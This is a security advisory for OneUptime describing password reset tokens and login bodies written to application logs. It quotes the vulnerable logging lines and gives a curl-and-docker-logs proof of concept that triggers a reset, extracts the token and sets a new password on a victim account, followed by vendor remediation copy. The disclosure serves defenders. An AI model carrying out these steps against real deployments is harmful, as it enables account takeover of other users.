GHSA-4524-cj9j-g4fj
OneUptime: Password Reset Token Logged at INFO Level
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
oneuptimenpmDescription
Summary
The password reset flow logs the complete password reset URL — containing the plaintext reset token — at INFO log level, which is enabled by default in production. Anyone with access to application logs (log aggregation, Docker logs, Kubernetes pod logs) can intercept reset tokens and perform account takeover on any user.
Details
Vulnerable code — App/FeatureSet/Identity/API/Authentication.ts lines 370-371:
logger.info("User forgot password: " + user.email?.toString());
logger.info("Reset Password URL: " + tokenVerifyUrl);
The tokenVerifyUrl is a complete URL like https://app.oneuptime.com/accounts/reset-password/<plaintext-token>. This is logged at INFO level, which is enabled by default in production and persisted to stdout, log files, and any configured log aggregation systems.
Additionally — login credentials logged at DEBUG level (line 909):
logger.debug("Login request data: " + JSON.stringify(req.body, null, 2));
The entire login request body (including cleartext password) is logged at DEBUG level. While DEBUG is typically disabled in production, it is commonly enabled during incident troubleshooting.
No existing CVEs cover sensitive data exposure in logging for OneUptime. CVE-2026-30956 (GHSA-r5v6-2599-9g3m) leaked resetPasswordToken from the database via multi-tenant header bypass — this finding is different (token leaked via application logs).
PoC
Environment: OneUptime v10.0.23 via docker compose up (default configuration)
# Step 1 — Trigger forgot-password for target user
curl -s -X POST http://TARGET:8080/api/identity/forgot-password \
-H 'Content-Type: application/json' \
-d '{"data": {"email": "[email protected]"}}'
# Response: {}
# Step 2 — Read application logs to extract the reset token
docker compose logs app --tail 5
# Output:
# app-1 | User forgot password: [email protected]
# app-1 | Reset Password URL: http://localhost/accounts/reset-password/20771cc6-860a-4b9b-bb9c-09eff67de4ef
# Step 3 — Use the extracted token to reset the victim's password
curl -s -X POST http://TARGET:8080/api/identity/reset-password \
-H 'Content-Type: application/json' \
-d '{"data": {"token": "20771cc6-860a-4b9b-bb9c-09eff67de4ef", "password": "NewPassword123!"}}'
Tested and confirmed on 2026-03-12 against oneuptime/app:release (APP_VERSION=10.0.23). Full password reset token 20771cc6-860a-4b9b-bb9c-09eff67de4ef visible in INFO-level logs.
Attack surface for log access: ELK/Elasticsearch dashboards (often misconfigured with default credentials), CloudWatch/Datadog/Splunk/Grafana Loki, docker logs / kubectl logs, shared log volumes, CDN/proxy access logs.
Impact
Any user's account can be taken over by anyone with read access to application logs:
- Account takeover: Every password reset token is logged in plaintext, creating a persistent trail of sensitive tokens
- Exposure scale: This logs EVERY password reset request — not a one-off, but systematic
- Cascading impact: Combined with differential error responses in forgot-password (user enumeration), an attacker can systematically target any user
- Organizations that aggregate OneUptime logs into shared logging infrastructure expose all password reset tokens to anyone with log reader access
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | oneuptime | all versions | 10.0.23 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for oneuptime. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update oneuptime to 10.0.23 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4524-cj9j-g4fj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-4524-cj9j-g4fj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-4524-cj9j-g4fj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-4524-cj9j-g4fj in your dependencies?
O3 detects GHSA-4524-cj9j-g4fj across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.